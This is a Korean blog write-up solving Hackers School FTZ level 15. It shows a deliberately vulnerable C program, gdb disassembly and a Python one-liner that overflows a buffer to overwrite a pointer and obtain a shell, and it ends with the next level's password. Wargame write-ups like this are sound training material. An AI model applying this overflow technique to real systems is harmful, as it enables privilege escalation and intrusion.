thumbnail
cd ..
root@blog:~/posts/ 202210

해커스쿨 FTZ 레벨 15

#KOR#pwn
2022.10.05.

0. 들어가기 전에

BOF문제인데, int *check 포인터가 0xdeadbeef를 가리킨다면 쉘 코드를 실행시켜주는 식이다. 소스코드를 보면서 시작하자.

1. Level 15

#include <stdio.h> 
main(){
     int crap;  
     int *check; 
      char buf[20];  
     fgets(buf,45,stdin);  
     if (*check==0xdeadbeef)   
        {     setreuid(3096,3096);    
              system("/bin/sh");  
              }
    }

대충 요런식이다. gdb를 이용해서 disassemble 해보자.

0x080483b8 <main+0>:    push   ebp
0x080483b9 <main+1>:    mov    ebp,esp
0x080483bb <main+3>:    sub    esp,0x38
0x080483be <main+6>:    and    esp,0xfffffff0
0x080483c1 <main+9>:    mov    eax,0x0
0x080483c6 <main+14>:   sub    esp,eax
0x080483c8 <main+16>:   sub    esp,0x4
0x080483cb <main+19>:   push   ds:0x80495d4
0x080483d1 <main+25>:   push   0x2d
0x080483d3 <main+27>:   lea    eax,[ebp-56]
0x080483d6 <main+30>:   push   eax
0x080483d7 <main+31>:   call   0x80482d8 <fgets>
0x080483dc <main+36>:   add    esp,0x10
0x080483df <main+39>:   mov    eax,DWORD PTR [ebp-16] // 16 -12 pointer
0x080483e2 <main+42>:   cmp    DWORD PTR [eax],0xdeadbeef
0x080483e8 <main+48>:   jne    0x804840f <main+87>
0x080483ea <main+50>:   sub    esp,0x8
0x080483ed <main+53>:   push   0xc18
0x080483f2 <main+58>:   push   0xc18
0x080483f7 <main+63>:   call   0x80482f8 <setreuid>
0x080483fc <main+68>:   add    esp,0x10
0x080483ff <main+71>:   sub    esp,0xc

ebp-56 위치에 buf 배열이 마무리되고, ebp-16지점에

단, 우리는 deadbeef의 메모리 주소값을 알아내어야 한다. 이를 위해선 gdb에서 x/20x를 해보면 된다. 노가다를 뛰면서 일일히 값을 입력하다보면 딱 0xdeadbeef가 나오는 주소를 발견하는데,

0x80484b2

라는걸 확인할 수 있다. 그럼 단순히 저 값을 bof 공격을 통해 check 포인터에 넣어주면 된다.

 (python -c 'print "A"*40+"\xb2\x84\x04\x08"'; cat) | ./attackme

단순하다고 할 수 있는 문제였던 것 같다.

비밀번호 : about to cause mass


Source

[ comments ]